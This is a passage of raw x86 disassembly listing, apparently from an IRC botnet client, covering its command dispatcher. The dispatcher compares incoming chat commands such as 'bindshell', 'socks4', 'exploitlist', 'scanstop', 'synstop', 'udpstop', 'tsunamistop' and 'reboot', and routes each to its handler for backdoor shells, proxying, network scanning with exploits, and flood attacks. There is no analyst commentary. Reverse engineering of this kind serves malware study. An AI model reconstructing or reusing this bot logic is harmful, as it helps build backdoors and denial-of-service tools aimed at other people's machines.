		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C910
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE58
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8F4
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8D4
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42C898
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C854


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42C7F4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C7C4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42923C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D160


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42923C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA64 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D178[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D160[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C74C ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA60 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA60 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C6A0


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C678
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C65C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C640
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C62C
		push	offset dword_42C620
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C600
		push	offset dword_42C5F0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5E4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C480
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C438
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3E8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C3C4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C3A4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2E0
		jnz	short loc_403191
		mov	eax, offset unk_42C2B8


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
